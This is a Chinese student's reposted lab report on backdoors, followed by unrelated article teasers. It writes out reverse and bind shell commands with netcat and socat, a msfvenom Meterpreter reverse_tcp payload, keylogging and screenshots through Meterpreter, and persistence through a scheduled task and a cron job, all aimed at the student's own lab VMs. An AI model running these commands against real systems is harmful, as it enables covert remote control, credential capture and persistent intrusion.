20145233《网络对抗》第二周 后门原理与实践

20145233《网络对抗》第二周 后门原理与实践

实验内容

  • windows主机与kali虚拟机实现互联互通
  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

实验过程

什么是后门

  • 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
  • 后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。
  • 后门程序,跟我们通常所说的"木马"有联系也有区别。联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛依木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。
  • 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。
  • 后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
  • 而且,在病毒命名中,后门一般带有backdoor字样,而木马一般则是Trojan字样。

使用netcat获取主机操作Shell,cron启动

linux获取windows的shell

887941-20170316112213588-486184350.png

  • 首先两个操作系统中都要有ncat,(本次实验中我的靶机有两个,前半部分的实验我是在自己的win主机中完成的,但是在后续的实验中,kali发送的后门程序无法在我的主机中打开,只好利用pki课程的虚拟机来完成后续实验)kali中已经自带,window需要下载码云上的压缩包到window中,解压到相应的system中可以直接在命令行中运行。
  • 这里ncat和后面用到的socat我都是在老师共享的码云附件中下载的。
  • kali下使用ifconfig来获取卡里主机的ip。
    887941-20170316112245760-1475049778.png

  • 在kali下使用nc -l -p 5233来将5233设置成监听端口开始监听,windows下输入netcat.exe -e cmd 192.168.85.129 5233实现kali对windowsshell的控制并利用ipconfig来验证。
    887941-20170316112312479-375175365.png

windows获取linux的shell

  • windows下使用以下命令netcat.exe 192.168.85.129 5233监听
  • kali下使用nc -e /bin/sh -l -p 5233反弹连接windows

  • 利用ifconfig验证

ncat传输文件

  • windows系统使用ncat.exe -lv 1452 > hhc_file.exe监听准备接受文件
    887941-20170316113030323-1668679855.png

  • kali系统使用ncat -nv 192.168.85.129 1452 <pwnx来发送指定文件
    887941-20170316113047854-1766611779.png

使用socat获取主机操作Shell

  • socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
  • kali上用socat tcp-listen:5233把cmd绑定到端口5233

  • 同時用socat tcp-l:5233 system:bash,pty,stderr反弹连接
    887941-20170316113115948-1459185723.png

  • windows使用socat readline tcp:192.168.85.129:5233开启监听
  • 成功,使用ifconfig检测
    887941-20170316113138166-1172520012.png

meterpreter生成后门程序

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=208 -f exe >20145233.exe来生成后门程序,然后发送到windows机中。
    887941-20170316112757416-1910347891.png

  • 使用msfconsole命令开启msf进行设置
    887941-20170316112824401-163817983.png
    887941-20170316112835901-1423151189.png

  • 这时候监听已经开始了,在windows中运行之前的后门程序可以成功控制远程shell。
    887941-20170316112814073-41001119.png
    887941-20170316112928713-1034335546.png

meterpreter信息搜集

887941-20170316112442776-423693275.png

  • 首先可以用神奇的help,来看看都有哪些指令,其中指令很多,但是我们本次实验中用的只是一小部分,其他的功能可以在以后自己来了解。
  • 系统信息截取
    887941-20170316112456370-2103686334.png

  • 对靶机win7进行截图
    887941-20170316112505338-602743654.png

  • 记录靶机的键盘记录
    887941-20170316112515682-1472298980.png

  • 安装为系统服务
    887941-20170316112521854-569602110.png
    887941-20170316112529854-1392335896.png

后门启动

Windows设置

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
    887941-20170316112544026-124772828.png

  • 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5233 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5233,同时把cmd.exe的stderr重定向到stdout上:
    887941-20170316112558041-723588416.png

  • 我在这里设定为当系统启动的时候,启动后门程序。
    887941-20170316112622166-1423735067.png

887941-20170316112632776-2074090172.png
887941-20170316112640120-666484183.png

使用netcat获取主机操作Shell,cron启动

  • kali下终端使用crontab -e修改配置文件,根据格式m h dom mon dow user command来填写启动的时间,加入下面一行:
    * * * * * /bin/netcat 192.168.85.129 5233 -e /bin/sh

  • 第一个星号可以设置成0-59的数字,即每小时的第几分钟启动,同理下个星号是1-24小时,下个是1-12···
  • 使用crontab -l查看配置文件

实验问题回答

  • 如何将一个后门安装到系统中?
    后门程序被捆绑或者伪装成正常的程序进入自己的系统。
    不慎点了某些链接,被植入了后门程序。
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    后门修改权限使得自己在任务控制设定启动条件,多种多样,随意后门程序设置。
  • Meterpreter有哪些给你映像深刻的功能?
    记录键盘输入记录配合屏幕摄像头的截图来获取靶机使用者的信息,这就很可怕了。攻击者拿到信息后想干什么干什么。
  • 如何发现自己有系统有没有被安装后门?
    利用杀毒软件定期清理未知文件。
    开启防火墙,对于某些默认的端口来查看是什么程序在使用,进行分析。

    实验总结

  • 本次实验在完成的时候,我才真的觉得自己学习了好玩并且实用的东西,也理解到了后门攻击往往存在在很多地方,这些隐患其实是很致命的。
  • 比如,配合屏幕截图及键盘记录可以很轻易的来获取被攻击者的密码资料等,因为虚拟机的实验环境没有摄像头的驱动程序,所以没办法完成人脸捕捉。
  • 这次实验让我对于网络攻防更有兴趣了。

转载于:https://www.cnblogs.com/hanhaochen/p/6558605.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/371311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring 3.1:缓存和EhCache

如果在网上查找使用Spring 3.1内置缓存的示例&#xff0c;那么通常会碰到Spring的SimpleCacheManager &#xff0c;Spring的家伙说这对“用于测试或简单的缓存声明很有用”。 实际上&#xff0c;我更喜欢将SimpleCacheManager看作是轻量级的&#xff0c;而不是简单的。 在您希望…

mysql-表完整性约束

阅读目录 一 介绍二 not null与default三 unique四 primary key五 auto_increment六 foreign key七 总结一 介绍 回到顶部 约束条件与数据类型的宽度一样&#xff0c;都是可选参数 作用&#xff1a;用于保证数据的完整性和一致性主要分为&#xff1a; PRIMARY KEY (PK) 标识…

可消费消息数量_17 个方面,综合对比 主流消息队列

一、资料文档二、开发语言三、支持的协议四、消息存储五、消息事务六、负载均衡七、集群方式八、管理界面九、可用性十、消息重复十一、吞吐量TPS十二、订阅形式和消息分发十三、顺序消息十四、消息确认十五、消息回溯十六、消息重试十七、并发度本文将从&#xff0c;Kafka、Ra…

opencv2.4.13+python2.7学习笔记--使用 knn对手写数字OCR

阅读对象&#xff1a;熟悉knn、了解opencv和python。 1.knn理论介绍&#xff1a;算法学习笔记&#xff1a;knn理论介绍 2. opencv中knn函数 路径&#xff1a;opencv\sources\modules\ml\include\opencv2\ml\ml.hpp 3.案例 3.1数据集介绍 我们的目的是创建一个可以对手写数字进行…

热启动必须联网吗_供暖结束,地暖是关闭供水阀门还是关闭回水阀门?你做对了吗?...

天气渐渐暖和起来很多城市都停止供暖了一些家庭也停止使用地暖那么今天就来聊一聊&#xff0c;停止供暖后地暖系统应该怎么保养地暖不用时候是关闭供水阀门还是关闭回水阀门&#xff1f;供暖结束 暖气阀门到底要不要关一般来说&#xff0c;我们供暖期结束是不用关闭总阀门的。因…

python学习(九) 网络编程学习--简易网站服务器

python 网络编程和其他语言都是一样的&#xff0c;服务器这块步骤为&#xff1a;1. 创建套接字2. 绑定地址3. 监听该描述符的所有请求4. 有新的请求到了调用accept处理请求 Python Web服务器网关接口&#xff08;Python Web Server Gateway Interface&#xff0c;简称“WSGI”&…

按条件分类_保税仓储企业能否同时存储非保货物?“仓储货物安装台分类监管”如何申请?...

保税仓储企业能否同时存储非保货物呢&#xff1f;保税和非保货物是不是真的不能同在一个“屋檐下”呢&#xff1f;哪些企业可以开展“仓储货物按状态分类监管”业务&#xff1f;企业又该如何申请该项业务&#xff1f;本文就对这些问题进行一下梳理。什么是“仓储货物按状态分类…

ZooKeeper的原理(转)

一、ZooKeeper的角色 领导者&#xff08;Leader&#xff09;&#xff0c;负责进行投票的发起和决议&#xff0c;更新系统状态。 学习者&#xff08;Learner&#xff09;&#xff0c;包括跟随者&#xff08;Follower&#xff09;和观察者&#xff08;Observer&#xff09;&#…

java课堂笔记

转载于:https://www.cnblogs.com/16-C-kai/p/6567042.html

Spring– DAO和服务层

欢迎来到Spring教程的第三部分。 在这一部分中&#xff0c;我们将继续编写Timesheet应用程序&#xff0c;这次我们将实现DAO层&#xff0c;业务服务并编写一些测试。 在上一部分中&#xff0c;我们定义了GenericDao接口&#xff0c;该接口告诉我们需要对实体执行哪些操作。 现在…

51nod 1907(多项式乘法启发式合并)

题目&#xff1a; 分析&#xff1a; 对于一个确定的生成子图&#xff0c;很明显是在一个连通块上走&#xff0c;走完了再跳到另一个连通块上&#xff0c;假设连通块个数为cnt&#xff0c;那么答案一定是$min(a_{cnt-1},a_cnt,..,a_{n-1})$ 那现在的问题就是如何求出对于原图而言…

煮饭的机器人作文_公示|“笔随我心、心由笔动”作文大赛获奖名单

卡士大昌杯“笔随我心、心由笔动”获奖作品开平的咸汤圆滑轮记&#xff0f;我的宅家成长记折叠式小屋&#xff0f;夕阳&#xff0f;包粽子在过去的卡士大昌杯“笔随我心、心由笔动”作文活动中我们收到了许多优秀投稿经过专业团队评选得出获奖选手作品如下主办方协办方一等奖《…

JavaFX 2 GameTutorial第5部分

介绍 这是与JavaFX 2 Game Tutorial相关的六部分系列的第五部分。 我知道自从我写关于游戏的博客以来已经很长时间了&#xff0c;但希望您仍然与我在一起。 如果您想回顾一下&#xff0c;请阅读第1部分 &#xff0c; 第2 部分 &#xff0c; 第3 部分和第4 部分 &#xff0c;以了…

Hive中的数据库、表、数据与HDFS的对应关系

1、hive数据库 我们在hive终端&#xff0c;查看数据库信息&#xff0c;可以看出hive有一个默认的数据库default&#xff0c;而且我们还知道hive数据库对应的是hdfs上面的一个目录&#xff0c;那么默认的数据库default到底对应哪一个目录呢&#xff1f;我们可以通过hive配置文件…

使用JSF的面向服务的UI

在大型软件开发项目中&#xff0c;面向服务的体系结构非常常见&#xff0c;因为它提供了可供不同团队或部门使用的功能接口。 创建用户界面时&#xff0c;应应用相同的原理。 对于具有开票部门和客户管理部门等的大型公司&#xff0c;组织结构图可能如下所示&#xff1a; 如果计…

JBoss核心Java Web服务

这篇博客文章涉及Web服务。 好吧&#xff0c;更确切地说&#xff0c;它处理JBoss上的“普通” java Web服务。 这意味着我们将创建一个没有任何其他框架&#xff08;如CXF&#xff0c;Axis等&#xff09;的Web服务。 JBoss它自己提供对Web服务的支持。 因此&#xff0c;如果您真…

JavaSE--for each

参考&#xff1a;http://blog.csdn.net/yasi_xi/article/details/25482173 学习多线程的时候实例化线程数组而挖掘出来的一直以来的理解误区 之前一直以为for each 本质上和for循环以及迭代器没什么区别 1 package foreach;2 3 public class ForeachDemo1 {4 5 public …

mysql 5.1.62_MySQL 5.5.62 安装方法(标准配置版)

1.此安装方法适用于绝大多数MySQL版本&#xff0c;首先在MySQL官网上下载好所需版本。2.(官网可能不太好找)在我的博客列表中有一篇是MySQL官网下载链接&#xff0c;直达下载界面&#xff0c;方便。3.下载。(安装版 MSI Installer)4.下载安装包然后双击开始安装选择同意协议并…

简化Java内存分析

作为一名典型的Java开发人员&#xff0c;除了遵循关闭连接&#xff0c;流等典型的最佳实践外&#xff0c;我从未监视过应用程序的内存使用情况。最近&#xff0c;我们在JBoss服务器中遇到了一些问题&#xff0c;不得不深入研究内存管理Java中最好的事情之一是&#xff0c;创建对…

详解mysql数据库的启动与终止_详解MySQL数据库的启动与终止(一)

由于MySQL服务器具有多种安装分发&#xff0c;而且能够运行在多种操作平台之上&#xff0c;因此它的启动与停止的方法也多种多样。你可以根据实际情况使用其中的一种。在你安装、升级或者维护系统时&#xff0c;你可能需要多次启动和终止服务器&#xff0c;你需要了解启动和终止…